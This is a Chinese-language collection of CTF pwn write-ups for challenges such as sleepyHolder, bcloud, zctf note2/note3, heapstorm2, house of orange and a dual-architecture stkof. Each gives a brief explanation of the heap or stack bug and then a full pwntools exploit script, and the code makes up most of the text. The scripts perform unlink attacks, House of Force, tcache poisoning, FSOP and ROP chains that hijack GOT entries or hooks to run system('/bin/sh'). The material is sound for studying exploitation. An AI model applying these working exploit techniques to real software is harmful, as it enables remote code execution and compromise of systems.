system,binsh = ret2libc(fflush,'fflush')
edit(3,p64(system))
sl('/bin/sh\x00')

Part III #

sleepyHolder_hitcon_2016 #

这道题允许保存 small/big/huge secret,其中 huge 只能保存一次,不能删除和修改,并且在保存了一个 small/big 之后就不能再保存新的 small/big 了,只能 renew。

显然这个 huge 就是我们漏洞利用的核心。实际上,huge 的范围属于 large bin,在申请这么大的 chunk 时如果 unsorted bin 中没有满足条件的,就会触发 malloc_consolidate(),使 fastbin 中的 chunk 合并进入 unsorted bin,最终根据合并后的大小进入 small bin 或 large bin。那么我们不妨先申请一个 small,然后申请 big 防止 small 被释放时与 top chunk 合并,再释放 small。此时 small 进入 fastbin,再申请 huge 即可让 small 进入到 small bin。

由于这时 small 已经不处于 fastbin 链表头了,所以再次释放并不会出错,造成 double free。这样之后在 small 内伪造 chunk 并 unlink 劫持 GOT 表即可。

add(1)
add(2)
delete(1) # 1->fastbin
add(3) # consolidate,1->unsorted bin->smallbin
delete(1)

small_secret = 0x6020d0
fd = small_secret - 0x18
bk = small_secret - 0x10
payload = flat(0,0x21,fd,bk,0x20)
add(1,payload)
delete(2)

# ?,big,huge,small,big_flag,huge_flag,small_flag
payload = flat(0,elf.got['atoi'],elf.got['puts'],elf.got['free']) + p32(1)*3
edit(1,payload)
edit(1,p64(elf.plt['puts'])) # free -> puts
delete(2)
atoi = uu64(r(6))
system,binsh = ret2libc(atoi,'atoi')
edit(1,p64(system))
add(2,'/bin/sh\x00')
delete(2)

secretHolder_hitcon_2016 #

类似上一题,不过 huge 可以修改和删除了。由于 huge 非常大,分配时会调用 mmap(),但是当释放掉 huge 再申请时,mmap_threshold 已经变得和 huge 一样大,此时分配 huge 使用的是 brk(),因此 huge 被分配到了堆上。

利用这个特性,我们可以先令 small 和 huge 地址重合,随后在下面垫上 big。在 small 里伪造堆块并释放 big,触发 unlink,剩余的工作就和上一题一模一样了。

def add(type,content='a'):
    sla('Renew secret\n','1')
    sla('Huge secret\n',str(type))
    sa(': \n',content)
def delete(type):
    sla('Renew secret\n','2')
    sla('Huge secret\n',str(type))
def edit(type,content):
    sla('Renew secret\n','3')
    sla('Huge secret',str(type))
    sa(': \n',content)

add(1)
add(2)
delete(1)
delete(2)
add(3)
delete(3) # mmap threshold +++
add(3) # brk()
delete(1)
add(1) # small <-> huge
add(2)

small = 0x6020b0
fd = small-0x18
bk = small-0x10
payload = flat(0,0x21,fd,bk,0x20,0x90,'a'*0x80)
payload += flat(0,0x21,'a'*0x10,0,0x21)
edit(3,payload)
delete(2)

# ?,big,huge,small,big_flag,huge_flag,small_flag
payload = flat(0,elf.got['atoi'],elf.got['puts'],elf.got['free']) + p32(1)*3
edit(1,payload)
edit(1,p64(elf.plt['puts'])) # free -> puts
delete(2)
atoi = uu64(r(6))
system,binsh = ret2libc(atoi,'atoi')
edit(1,p64(system))
add(2,'/bin/sh\x00')
delete(2)

bcloud_bctf_2016 #

在读入名字和读入 Org 以及 Host 时,均存在同样的 strcpy 漏洞,前者导致泄露堆地址,而后者允许我们 off-by-one 修改 top chunk 的大小,从而实现 House of Force。通过 gdb 调试得到 top_chunk = heap + 0xd0,那么构造的 evil_size 就是我们想分配到的 note_len 数组地址减去 header 的 0x8,减去 old_top_chunk 地址,再减去 12,这是因为已经分配了三个堆块,在程序中每个堆块额外分配了 4B。最后从 note_len 覆盖到 note 数组,劫持 freeprintf 泄露 libc,再劫持 atoisystem

def add(len,content='a'):
    sla('>>\n','1')
    sla(':\n',str(len))
    sa(':\n',content)
def delete(index):
    sla('>>\n','4')
    sla(':\n',str(index))
def edit(index,content):
    sla('>>\n','3')
    sla(':\n',str(index))
    sla(':\n',content)

sa('name:\n','a'*0x40)
ru('a'*0x40)
heap = uu32(r(4))
leak('heap',heap)

sa('Org:\n','a'*0x40)
sla('Host:\n',p32(0xffffffff))

note_len = 0x804b0a0
note = 0x804b120
top_chunk = heap + 0xd0
evil_size = note_len-0x8-top_chunk-0xc # gdb
add(evil_size,'')
payload = flat((note-note_len)*'a',elf.got['atoi'],elf.got['free'],elf.got['atoi'])
add(len(payload),payload)
edit(1,p32(elf.plt['printf']))
delete(0) # printf(atoi.got)
atoi = uu32(r(4))
system,binsh = ret2libc(atoi,'atoi')
edit(2,p32(system))
sla('>>\n','/bin/sh\x00')

lctf2016_pwn200 #

首先不难发现读入 name 时存在 off-by-one,可以借此泄露栈地址。为了后面 ret2shellcode,我们可以先在 name 里顺便写好 shellcode:

payload = asm(shellcraft.sh()).ljust(48,'a')
sa('u?\n',payload)
ru(payload)
rbp = uu64(ru(', w',True))
leak('rbp',rbp)

而读入 money 时,恰好可以覆盖到堆指针 dest。那么可以覆盖 dest 为我们伪造的 chunk,同时准备好 id(只需要大于 0x10 小于 0x21000 即可)作为 nextsize,这样就可以先释放再申请这个 fake chunk,就可以控制 rip 了,最后覆盖 rip 为 shellcode 地址。

通过 gdb 调试,可以绘制大致的栈结构图:

 ------------ <- leaked rbp
|            | 0x20
 ------------ <- rbp
| shellcode  | 0x30
 ------------ <- shellcode_addr  --
| 0x20       | id                 |
 ------------                     |
|            |                    |
 ------------                     |
| rip        |                    | 0x40
 ------------                     |
| rbp        |                    |
 ------------                     |
| dest       |                    |
 ------------ <- fake            --
| 0x41       |
 ------------
| prev_size  |
 ------------
| ...        |

由此可以得到:

sc = rbp-0x50
fake = rbp-0x90

从而伪造堆块:

sla('id ~~?\n',str(0x20))
sa('money~\n',p64(0)*4+flat(0,0x41,0,fake))

sla('choice :','2') # free
sla('choice :','1') # malloc
sla('long?',str(0x30)) # + 0x10 = 0x40
ru('48')
sl(flat('a'*0x18,sc))
sla('choice :','3')

zctf2016_note2 #

添加 note 时,存在整数溢出漏洞,导致添加大小为 0 的 note,可以输入的长度为无符号的 -1,可以认为没有限制,但是 malloc 依旧会分配 0x20 字节。利用这个堆溢出,我们先分配三个 chunk:

| ...               |               |
 -------------------                |
| 'a'*8             |               |
 ------------------- <- ptr[2]    chunk2
| size=0x91         |               |
 -------------------                |
| prev_size         |               |
 ------------------- <---------------
|                   |               |
 -------------------                |
| 'a'*8             |               |
 ------------------- <- ptr[1]    chunk1
| size=0x20         |               |
 -------------------                |
| prev_size         |               |
 ------------------- <---------------
|                   | 0x18          |
 -------------------                |
| bp_prev_size=0x60 |               |
 -------------------                |
| 'a'*0x40          | 0x40          |
 -------------------                |
| fd     | bk       | 0x10          |
 -------------------              chunk0
| fake_size=0x61    |               |
 -------------------                |
| fake_prev_size=0  |               |
 ------------------- <- ptr[0]      |
| size=0x91         |               |
 -------------------                |
| prev_size         |               |
 ------------------- <---------------

我们在 0x80 的 chunk0 内伪造了 0x61 的 chunk,并通过 bp_prev_size=0x60 确保能通过检查。随后分配大小为 0chunk1(实际大小为 0x20),由于整数溢出这里可以输入无限长度的内容,最后分配 0x80 的 chunk2 用来引起 unlink

接下来释放 1 再拿回来,就可以溢出到 chunk2,修改其 prev_sizechunk_size,前者修改为 0x20+0x80=0xa0,后者置 PREV_IN_USE 位为 0。这样再释放 2 就可以 unlink 掉我们的 fake chunk 了。此时 ptr 指向 ptr-0x18,填充 0x18 字节后即可修改 ptr[0],之后就是常规 GOT 劫持了。

def add(len,content='a'*8):
    sla('>>','1')
    sla('128)',str(len))
    sla('content:',content)

def show(index):
    sla('>>','2')
    sla('note:',str(index))

def edit(index,choice,content):
    sla('>>','3')
    sla('note:',str(index))
    sla(']',str(choice))
    sl(content)

def delete(index):
    sla('>>','4')
    sla('note:',str(index))

sla('name:','merc')
sla('address:','privacy')

ptr = 0x602120
fd = ptr-0x18
bk = ptr-0x10
payload = flat('a'*8,0x61,fd,bk,'a'*0x40,0x60)
add(0x80,payload) # 0
add(0) # 1,0x20
add(0x80) # 2

delete(1)
# padding,prev_size=0x20+0x80,PREV_IN_USE=0
add(0,flat('a'*0x10,0xa0,0x90))
delete(2)

payload = flat('a'*0x18,elf.got['atoi'])
edit(0,1,payload)
show(0)
ru('is')
atoi = uu64(r(6))
system,binsh = ret2libc(atoi,'atoi')
edit(0,1,p64(system))
sla('>>','/bin/sh\x00')

zctf2016_note3 #

这题和上题类似,不过 bss 结构大致如下:

current_ptr
note0_ptr
note1_ptr
note2_ptr
note3_ptr
note4_ptr
note5_ptr
note6_ptr
note7_ptr
note0_size
note1_size
note2_size
note3_size
note4_size
note5_size
note6_size
note7_size

本题漏洞在于 edit 时会判断输入的长度是否小于 0,如果是就取相反数。但是可以通过整数溢出,输入 0x8000000000000000,它的相反数恰好是它自身,并且依然是一个负数(-1)。这样就造成数组越界,可以覆盖到 current_ptr

我们的思路是先让 current_ptr 指向 note3,然后利用越界覆盖一个 fake_chunknote3 上,再释放 note4 触发 unlink,此时 note3_ptr 指向 note0_ptr,这样就可以实现 GOT 劫持。

但是本题的 show 功能被禁用,而我们还需要泄露 libc 地址。这里用的方法是在 bss 段空余处写入 %llx.,然后把 free 先劫持到 printf,去打印这一段格式化字符串,相当于手动造了一个格式化字符串漏洞。这样就可以泄露栈上内容,从而泄露位于栈上的 __libc_start_main_ret 地址(一般位于偏移量 11 处)。最后泄露 libc 得到 system 地址,覆盖 atoi 即可。

def add(len,content='a'*8):
    sla('>>','1')
    sla('1024)',str(len))
    sla('content:',content)

def show(index):
    sla('>>','2')
    sla('note:',str(index))

def edit(index,content):
    sla('>>','3')
    sla('note:',str(index))
    sla('content:',content)

def delete(index):
    sla('>>','4')
    sla('note:',str(index))

negative = 0x8000000000000000
for i in range(8):
    add(0x200)
edit(3,'a')
fd = 0x6020c8+0x8*3-0x18
bk = 0x6020c8+0x8*3-0x10
fake_chunk = flat(0,0x201,fd,bk).ljust(0x200,'a')
fake_chunk += flat(0x200,0x210)
edit(-negative,fake_chunk)
delete(4)

edit(3,p64(elf.got['free']))
edit(0,p64(elf.plt['printf'])*2)

bss_blank = 0x602100
edit(3,p64(bss_blank))
edit(0,'%llx.'*0x10)
delete(0)
lsmr = int(ru('success').split('.')[10],16)
system,binsh = ret2libc(lsmr,'__libc_start_main_ret')
edit(3,p64(elf.got['atoi']))
edit(0,p64(system))

sla('>>','/bin/sh\x00')

0ctf_2018_heapstorm2 #

分析先咕了,等完全理解了再补充。先放一些参考的 wp:

def add(size):
    sl('1')
    ru('Size:')
    sl('%d' % size)
    ru('Command:')

def edit(index, content):
    sl('2')
    sla('Index:',str(index))
    sla('Size:', str(len(content)))
    sa('Content:',content)
    ru('Command:')

def free(index):
    sl('3')
    sla('Index:',str(index))
    ru('Command:')

def show(index):
    sl('4')
    sla('Index:', str(index))
    m = ru('Command:')
    pos1 = m.find(']: ') + len(']: ')
    pos2 = m.find('\n1.')
    return m[pos1:pos2]

add(0x18) # 0
add(0x508) # 1
add(0x18) # 2
edit(1,flat('a'*0x4f0,0x500))

add(0x18) # 3
add(0x508) # 4
add(0x18) # 5
edit(4,flat('a'*0x4f0,0x500))
add(0x18) # 6

free(1)
edit(0,'a'*(0x18-12))
add(0x18) # 1
add(0x4d8) # 7
free(1)
free(2)
add(0x38) # 1
add(0x4e8) # 2

free(4)
edit(3,'a'*(0x18-12))
add(0x18) # 4
add(0x4d8) # 8
free(4)
free(5)
add(0x48) # 4

free(2)
add(0x4e8) # 2
free(2)

storage = 0x13370800
fake = storage-0x20

payload = flat(0,0,0,0x4f1,0,fake)
edit(7,payload)
payload = flat(0,0,0,0,0,0x4e1,0,fake+8,0,fake-0x18-5)
edit(8,payload)

try:
    add(0x48)
except:
    print('Try again?')

payload = flat(0,0,0,0,0,0x13377331,storage)
edit(2,payload)

payload = flat(0,0,0,0x13377331,storage,0x1000)
p1 = payload + flat(storage-0x20+3,8)
edit(0,p1)

heap = uu64(show(1))
p2 = payload + flat(heap+0x10,8)
edit(0,p2)

base = uu64(show(1))-88-libc.sym['__malloc_hook']-0x10
system = base + libc.sym['system']
free_hook = base + libc.sym['__free_hook']

p3 = payload + flat(free_hook,0x100,storage+0x50,0x100,'/bin/sh\x00')
edit(0,p3)
edit(1,p64(system))

sl('3')
sla('Index:','2')

houseoforange_hitcon_2016 #

pwndbg> p *(struct _IO_FILE*)0x555b7d04b4f0
$2 = {
  _flags = 1852400175,
  _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
  _IO_read_end = 0x0,
  _IO_read_base = 0x7f29a0f30510 "",
  _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
  _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x0,
  _fileno = 0,
  _flags2 = 0,
  _old_offset = 0,
  _cur_column = 0,
  _vtable_offset = 0 '\000',
  _shortbuf = "",
  _lock = 0x0,
  _offset = 0,
  _codecvt = 0x0,
  _wide_data = 0x0,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0,
  _mode = 0,
  _unused2 = '\000' <repeats 19 times>
}
def add(size):
    sla('choice :','1')
    sla(":",str(size))
    sa(':','a'*8)
    sla(':','1')
    sla(':','1')

def show():
    sla('choice :','2')

def edit(size,name):
    sla('choice :','3')
    sla(":",str(size))
    sa(':',name)
    sla(':','1')
    sla(':','1')

add(0x18)
useless = flat(0,0x21,0x1f00000001,0)
payload = 'a'*0x10 + useless + flat(0,0xfa1)
edit(0x40,payload) # corrupt top chunk

add(0x1000) # old_top -> unsorted
add(0x400) # slice old top
show()
ru('a'*8)
base = uu64(ru('\n'))-1640-libc.sym['__malloc_hook']-0x10
leak('base',base)
system = base + libc.sym['system']
io_list_all = base + libc.sym['_IO_list_all']

'''large chunk:
0x56512e53b0c0:    0x0000000000000000 0x0000000000000411
0x56512e53b0d0:    0x6161616161616161    0x00007f01ea979188
0x56512e53b0e0:    0x000056512e53b0c0    0x000056512e53b0c0
'''
edit(0x10,'a'*0x10)
show()
ru('a'*0x10)
heap = uu64(ru('\n')) - 0xc0
leak('heap',heap)

# jump_table+0x18
payload = flat(0,0,0,system).ljust(0x400,'\x00')
# _flags,size,fd,bk,write_base,write_ptr,padding,fake_vtable
payload += useless + flat('/bin/sh\x00',0x61,0,io_list_all-0x10,2,3,'\x00'*(0xd8-0x30),heap+0xd0)
edit(0x1000,payload)

sla('choice :','1')

ciscn_2019_final_2 #

本题需要将读入的 flagfd 改为 666。

存在 tcache double free 漏洞,首先分配多个 short,利用 double free 泄露堆地址。然后 tcache 投毒,伪造 chunk0 大小,并释放进入 unsorted bin 泄露 libc。注意释放前先填满 tcache 才能进入 unsorted bin。

接下来继续投毒使 intfd 指向 fileno,再次 double free 泄露 chunk0mem 指针地址。最后投毒指向 chunk0mem 指针地址,再申请三次就可以修改 fileno 了。

add(1,0x30)
free(1)
add(2,0x20)
add(2,0x20)
add(2,0x20) # total size: 0x90
add(2,0x20) # prevent merging
free(2)
add(1,0x30)
free(2)
show(2)
ru('number :')
chunk0 = int(ru('\n'))-0xa0
leak('chunk0',chunk0)
add(2,chunk0) # poisoning
add(2,0xdeadbeef)
add(2,0x91) # chunk0

for i in range(7): # fill tcache
    free(1)
    add(2,0x20)
free(1) # unsorted
show(1)
ru('number :')

base = int(ru('\n'))-96-libc.sym['__malloc_hook']-0x10
leak('base',base)
fileno = base+libc.sym['_IO_2_1_stdin_']+0x70

add(1,fileno) # poisoning
add(1,0x30)
free(1)
add(2,0x20)
free(1)
show(1)
ru('number :')
chunk0_mem = int(ru('\n'))-0x30

add(1,chunk0_mem) # poisoning
add(1,0xdeadbeef)
add(1,0xdeadbeef)
add(1,666)

sla('>',4)

强网杯_拟态_stkof #

采用了拟态防御,简单来说就是要用同一个脚本同时在 32 位和 64 位程序上 getshell 且两个程序的输出必须相同。

首先检查两个二进制文件,漏洞都是简单的栈溢出并且空间很大。区别在于可以溢出的长度相差 8 字节,这 8 字节应该就是能够用同一个脚本的关键所在。

容易想到利用常规 ret2syscall,分别写出 32 位和 64 位脚本:

pop_eax = 0x80a8af6
pop_dcb = 0x806e9f1
int_80 = 0x80495a3
data = 0x80d7000

chain86 = [
    'a'*(0x10c+4),
    elf.sym['read'],
    pop_dcb,0,data,0x100,
    pop_dcb,0,0,data,
    pop_eax,0xb,
    int_80
]

payload = flat(chain86)
sa('?',payload)
s('/bin/sh\x00')
pop_rax = 0x43b97c
pop_rdi = 0x4005f6
pop_rsi = 0x405895
pop_rdx = 0x43b9d5
syscall = 0x461645
data = 0x6a4e40

chain64 = [
    'a'*(0x110+8),
    pop_rax,0,pop_rdi,0,
    pop_rsi,data,pop_rdx,0x100,
    syscall,
    pop_rax,59,pop_rdi,data,
    pop_rsi,0,pop_rdx,0,
    syscall
]

payload = flat(chain64)
sa('?',payload)
s('/bin/sh\x00')

那么怎么把两者合并呢?这就需要用到 8 字节的栈溢出长度差,在这 8 字节中,我们分别调整 32 位程序和 64 位程序的 esprsp 指针,使得经过调整后栈上的返回地址指向 payload 的不同部分。

这里需要注意的是,栈变量在 32 位下位于 esp+0xc,在 64 位下位于 rsp+0x0,在计算需要填充的 padding 时需要考虑到这一点。

pop_eax = 0x80a8af6
pop_dcb = 0x806e9f1
int_80 = 0x80495a3
data86 = 0x80d7000
read = 0x806c8e0
add_esp_20 = 0x80a69f2

offset86 = 0x20-0xc # esp+0xc
chain86 = [
    'a'*offset86,
    read,
    pop_dcb,0,data86,0x8,
    pop_dcb,0,0,data86,
    pop_eax,0xb,
    int_80
]
payload86 = flat(chain86,word_size=32)

pop_rax = 0x43b97c
pop_rdi = 0x4005f6
pop_rsi = 0x405895
pop_rdx = 0x43b9d5
syscall = 0x461645
data64 = 0x6a4e40
add_rsp_80 = 0x40cd17

offset64 = 0x80-len(payload86) # rsp+0x0
print hex(offset64)
chain64 = [
    'a'*offset64,
    pop_rax,0,pop_rdi,0,
    pop_rsi,data64,pop_rdx,0x100,
    syscall,
    pop_rax,59,pop_rdi,data64,
    pop_rsi,0,pop_rdx,0,
    syscall
]
payload64 = flat(chain64,word_size=64)

payload = 'a'*0x110 + (p32(add_esp_20)+'aaaa') + p64(add_rsp_80) + payload86 + payload64

sa('?',payload)
s('/bin/sh\x00')

axb_2019_heap #

利用格式化字符串漏洞泄露堆地址和 libc。随后,可以发现 edit 时存在 off by one,我们在构造 unlink 的 fake chunk 时,该漏洞会导致修改下一个 chunk 的 prev_size 后会覆盖掉它的 size 字段最后一个字节。但是同样的,我们也可以利用该漏洞手动恢复最后一个字节。,这里是 0xa0

接下来就常规 unlink,覆盖 free_hooksystem,注意维持原 note 数组结构。

sla('name:','%11$p.%15$p')
ru(',')
heap = int(ru('.'),16)-0x1186
base = int(ru('\n'),16)-0x20830
leak('heap',heap)
leak('base',base)

note = heap+0x202060
system = base+libc.sym['system']
free_hook = base+libc.sym['__free_hook']

add(0,0x98)
add(1,0x98)
add(2,0x90)
add(3,0x90,'/bin/sh\x00')

fd = note-0x18
bk = note-0x10
fake = flat(0,0x91,fd,bk).ljust(0x90,'\x00') + p64(0x90)+'\xa0'
edit(0,fake)
free(1)

edit(0,flat(0,0,0,free_hook,0x98))
edit(0,p64(system))
free(3)